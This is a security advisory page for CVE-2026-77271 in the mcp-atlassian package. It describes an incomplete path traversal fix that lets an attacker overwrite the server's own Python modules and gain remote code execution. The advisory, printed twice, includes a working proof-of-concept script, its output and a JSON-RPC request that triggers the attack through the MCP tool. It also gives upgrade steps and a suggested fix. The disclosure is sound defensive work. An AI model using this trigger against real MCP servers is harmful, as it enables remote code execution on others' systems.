CVE-2026-77271: MCP Atlassian Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-6vmq-24h2-pj7j
CWE-94 CWE-22
Published
Advisory Summary

CVE-2026-77271 is a HIGH remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting MCP Atlassian libraries in the PyPI ecosystem. The issue involves incomplete path traversal fix allows intra-cwd module overwrite and rce (bypass of ghsa-xjgw-4wvw-rgm4). Remediation is available by upgrading affected packages to version 0.22.0.

CVE-2026-77271 at a Glance

CVE Identifier CVE-2026-77271
GHSA Identifier GHSA-6vmq-24h2-pj7j
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product MCP Atlassian
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2026-77271

To remediate this vulnerability, upgrade all affected MCP Atlassian dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

mcp-atlassian fixed: 0.22.0
pip install mcp-atlassian>=0.22.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show mcp-atlassian

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-77271, inspect your installed packages using pip:

pip show mcp-atlassian

Analyze the terminal output to locate any version of MCP Atlassian in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.22.0), your application is affected.

Note: The pip show mcp-atlassian command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In MCP Atlassian, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The path traversal fix introduced in v0.17.0 (GHSA-xjgw-4wvw-rgm4) is incomplete. `validate_safe_path()` is called without an explicit `base_dir`, defaulting to `os.getcwd()`. In standard container deployments the process CWD is the application directory (e.g. `/app`), so paths within that directory, including the application's own Python source modules, pass validation without raising an exception. An attacker can overwrite a module file and achieve remote code execution on the next process restart. Versions >= 0.17.0 are not fully patched as stated in the original advisory. Confirmed on v0.21.0 (latest). ### Details `src/mcp_atlassian/utils/io.py` — `validate_safe_path()` defaults to CWD when no `base_dir` is supplied: ```python def validate_safe_path(path, base_dir=None) -> Path: if base_dir is None: base_dir = os.getcwd() # root of the issue resolved_base = Path(base_dir).resolve(strict=False) ... if not resolved_path.is_relative_to(resolved_base): raise ValueError("Path traversal detected") ``` Both call sites in `src/mcp_atlassian/confluence/attachments.py` omit `base_dir`: ```python validate_safe_path(target_path) # line ~227, download_attachment() validate_safe_path(target_dir) # line ~270, download_content_attachments() ``` When the process CWD is `/app`, any path under `/app` satisfies `is_relative_to(CWD)` and passes the guard, including all Python source modules: ``` /app/src/mcp_atlassian/confluence/attachments.py -> passes, no exception /app/src/mcp_atlassian/servers/main.py -> passes, no exception /app/.env -> passes, no exception ``` ### PoC **Prerequisites:** same as GHSA-xjgw-4wvw-rgm4 — Confluence credentials with write access to at least one page, and network access to the MCP HTTP port. Additionally requires Python 3.10+ and `uvx` to run the proof below. The script imports `validate_safe_path` directly from the installed package, not a simulation of the function. ```python # poc_bypass.py import os, tempfile, shutil, importlib.util from pathlib import Path from mcp_atlassian.utils.io import validate_safe_path # real package print(f"Module: {validate_safe_path.__module__}") # Simulate /app (standard container CWD) app_dir = tempfile.mkdtemp(prefix="mcp_atlassian_app_") module_dir = os.path.join(app_dir, "src", "mcp_atlassian") os.makedirs(module_dir) module_path = os.path.join(module_dir, "attachments.py") Path(module_path).write_text('def get_secret(): return "LEGITIMATE"\n') os.chdir(app_dir) # Control: classic traversal is blocked try: validate_safe_path("/etc/passwd") except ValueError: print("[OK] /etc/passwd blocked") # Bypass: intra-CWD path passes without exception result = validate_safe_path(module_path) print(f"[BYPASS] {result} - no exception raised") # Overwrite module with attacker payload # (content sourced from a Confluence attachment uploaded by the attacker) Path(module_path).write_bytes( b"import os\n_PWNED=True\n" b"def get_secret():\n" b" os.system('id')\n" b" return 'PWNED'\n" ) print("[WRITE] Module overwritten with malicious payload") # Simulate process restart / module reload spec = importlib.util.spec_from_file_location("m", module_path) mod = importlib.util.module_from_spec(spec) spec.loader.exec_module(mod) # os.system('id') executes here print(f"[RCE] get_secret() = {repr(mod.get_secret())}") print(f"[RCE] _PWNED = {mod._PWNED}") shutil.rmtree(app_dir) ``` ```bash uvx --from mcp-atlassian python poc_bypass.py ``` **Verified output (mcp-atlassian 0.21.0):** ``` Module: mcp_atlassian.utils.io [OK] /etc/passwd blocked [BYPASS] /tmp/mcp_atlassian_app_.../src/mcp_atlassian/attachments.py - no exception raised [WRITE] Module overwritten with malicious payload uid=1000(appuser) gid=1000(appuser) groups=1000(appuser) [RCE] get_secret() = 'PWNED' [RCE] _PWNED = True ``` **Triggering via MCP tool:** upload a malicious `.py` file as a Confluence attachment, then call: ```json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "confluence_download_attachment", "arguments": { "page_id": "<page_id>", "attachment_id": "<malicious_attachment_id>", "download_path": "/app/src/mcp_atlassian/confluence/attachments.py" } } } ``` `validate_safe_path` does not raise. The module is overwritten and the payload executes on the next process restart. ### Impact **Affected versions:** 0.17.0 through 0.21.0 (latest). Attack prerequisites are identical to those documented in GHSA-xjgw-4wvw-rgm4, which was rated CVSS 9.1 Critical. Operators who upgraded to >= 0.17.0 based on that advisory remain exposed. The MCP HTTP server binds to `0.0.0.0` with no authentication by default. **Suggested fix:** pass a dedicated, explicitly configured directory as `base_dir` instead of relying on CWD: ```python _DOWNLOAD_BASE = Path( os.environ.get("MCP_DOWNLOAD_DIR", "/tmp/mcp-downloads") ).resolve() validate_safe_path(target_path, base_dir=_DOWNLOAD_BASE) ```

CVE-2026-77271 Affected MCP Atlassian Versions

1 component(s)
Fixed Versions:
0.22.0
Product / Package Ecosystem Affected Versions Fixed Version
mcp-atlassian
PyPI
< 0.22.0
0.22.0

References

Frequently Asked Questions

What is CVE-2026-77271?
CVE-2026-77271 is a security vulnerability in MCP Atlassian involving Incomplete path traversal fix allows intra-CWD module overwrite and RCE (bypass of GHSA-xjgw-4wvw-rgm4) under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which MCP Atlassian versions are affected?
Affected versions include releases prior to 0.22.0 across affected packages: mcp-atlassian.
What version fixes CVE-2026-77271?
Upgrading to 0.22.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is mcp-atlassian affected?
Yes, mcp-atlassian is affected in releases prior to 0.22.0. Upgrade your dependency to 0.22.0 or later.
What CWE is associated with CVE-2026-77271?
CVE-2026-77271 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check PyPI dependencies for CVE-2026-77271?
Run the dependency tree command: 'pip show mcp-atlassian'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6vmq-24h2-pj7j",
  "modified" : "2026-09-22T20:36:20Z",
  "published" : "2026-09-22T20:36:20Z",
  "aliases" : [ "CVE-2026-77271" ],
  "summary" : "MCP Atlassian: Incomplete path traversal fix allows intra-CWD module overwrite and RCE (bypass of GHSA-xjgw-4wvw-rgm4)",
  "details" : "### Summary\n\nThe path traversal fix introduced in v0.17.0 (GHSA-xjgw-4wvw-rgm4) is incomplete. `validate_safe_path()` is called without an explicit `base_dir`, defaulting to `os.getcwd()`. In standard container deployments the process CWD is the application directory (e.g. `/app`), so paths within that directory, including the application's own Python source modules, pass validation without\nraising an exception. An attacker can overwrite a module file and achieve remote code execution on the next process restart. Versions >= 0.17.0 are not fully patched as stated in the original advisory. Confirmed on v0.21.0 (latest).\n\n### Details\n\n`src/mcp_atlassian/utils/io.py` — `validate_safe_path()` defaults to CWD when no `base_dir` is supplied:\n\n```python\ndef validate_safe_path(path, base_dir=None) -> Path:\n    if base_dir is None:\n        base_dir = os.getcwd()       # root of the issue\n    resolved_base = Path(base_dir).resolve(strict=False)\n    ...\n    if not resolved_path.is_relative_to(resolved_base):\n        raise ValueError(\"Path traversal detected\")\n```\n\nBoth call sites in `src/mcp_atlassian/confluence/attachments.py` omit `base_dir`:\n\n```python\nvalidate_safe_path(target_path)   # line ~227, download_attachment()\nvalidate_safe_path(target_dir)    # line ~270, download_content_attachments()\n```\n\nWhen the process CWD is `/app`, any path under `/app` satisfies `is_relative_to(CWD)` and passes the guard, including all Python source modules:\n\n```\n/app/src/mcp_atlassian/confluence/attachments.py  -> passes, no exception\n/app/src/mcp_atlassian/servers/main.py            -> passes, no exception\n/app/.env                                          -> passes, no exception\n```\n\n### PoC\n\n**Prerequisites:** same as GHSA-xjgw-4wvw-rgm4 — Confluence credentials with write access to at least one page, and network access to the MCP HTTP port.\nAdditionally requires Python 3.10+ and `uvx` to run the proof below.\n\nThe script imports `validate_safe_path` directly from the installed package, not a simulation of the function.\n\n```python\n# poc_bypass.py\nimport os, tempfile, shutil, importlib.util\nfrom pathlib import Path\nfrom mcp_atlassian.utils.io import validate_safe_path  # real package\n\nprint(f\"Module: {validate_safe_path.__module__}\")\n\n# Simulate /app (standard container CWD)\napp_dir = tempfile.mkdtemp(prefix=\"mcp_atlassian_app_\")\nmodule_dir = os.path.join(app_dir, \"src\", \"mcp_atlassian\")\nos.makedirs(module_dir)\nmodule_path = os.path.join(module_dir, \"attachments.py\")\nPath(module_path).write_text('def get_secret(): return \"LEGITIMATE\"\\n')\nos.chdir(app_dir)\n\n# Control: classic traversal is blocked\ntry:\n    validate_safe_path(\"/etc/passwd\")\nexcept ValueError:\n    print(\"[OK]     /etc/passwd blocked\")\n\n# Bypass: intra-CWD path passes without exception\nresult = validate_safe_path(module_path)\nprint(f\"[BYPASS] {result} - no exception raised\")\n\n# Overwrite module with attacker payload\n# (content sourced from a Confluence attachment uploaded by the attacker)\nPath(module_path).write_bytes(\n    b\"import os\\n_PWNED=True\\n\"\n    b\"def get_secret():\\n\"\n    b\"    os.system('id')\\n\"\n    b\"    return 'PWNED'\\n\"\n)\nprint(\"[WRITE]  Module overwritten with malicious payload\")\n\n# Simulate process restart / module reload\nspec = importlib.util.spec_from_file_location(\"m\", module_path)\nmod = importlib.util.module_from_spec(spec)\nspec.loader.exec_module(mod)   # os.system('id') executes here\n\nprint(f\"[RCE]    get_secret() = {repr(mod.get_secret())}\")\nprint(f\"[RCE]    _PWNED = {mod._PWNED}\")\n\nshutil.rmtree(app_dir)\n```\n\n```bash\nuvx --from mcp-atlassian python poc_bypass.py\n```\n\n**Verified output (mcp-atlassian 0.21.0):**\n\n```\nModule: mcp_atlassian.utils.io\n\n[OK]     /etc/passwd blocked\n[BYPASS] /tmp/mcp_atlassian_app_.../src/mcp_atlassian/attachments.py - no exception raised\n[WRITE]  Module overwritten with malicious payload\nuid=1000(appuser) gid=1000(appuser) groups=1000(appuser)\n[RCE]    get_secret() = 'PWNED'\n[RCE]    _PWNED = True\n```\n\n**Triggering via MCP tool:** upload a malicious `.py` file as a Confluence attachment, then call:\n\n```json\n{\n  \"jsonrpc\": \"2.0\",\n  \"id\": 1,\n  \"method\": \"tools/call\",\n  \"params\": {\n    \"name\": \"confluence_download_attachment\",\n    \"arguments\": {\n      \"page_id\":       \"<page_id>\",\n      \"attachment_id\": \"<malicious_attachment_id>\",\n      \"download_path\": \"/app/src/mcp_atlassian/confluence/attachments.py\"\n    }\n  }\n}\n```\n\n`validate_safe_path` does not raise. The module is overwritten and the payload executes on the next process restart.\n\n### Impact\n\n**Affected versions:** 0.17.0 through 0.21.0 (latest).\n\nAttack prerequisites are identical to those documented in GHSA-xjgw-4wvw-rgm4, which was rated CVSS 9.1 Critical. Operators who upgraded to >= 0.17.0 based on that advisory remain exposed. The MCP HTTP server binds to `0.0.0.0` with no authentication by default.\n\n**Suggested fix:** pass a dedicated, explicitly configured directory as `base_dir` instead of relying on CWD:\n\n```python\n_DOWNLOAD_BASE = Path(\n    os.environ.get(\"MCP_DOWNLOAD_DIR\", \"/tmp/mcp-downloads\")\n).resolve()\n\nvalidate_safe_path(target_path, base_dir=_DOWNLOAD_BASE)\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "mcp-atlassian"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.22.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-6vmq-24h2-pj7j"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-77271"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sooperset/mcp-atlassian/pull/1448"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/sooperset/mcp-atlassian"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-94" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-22T20:36:20Z",
    "nvd_published_at" : "2026-09-22T18:17:19Z"
  }
}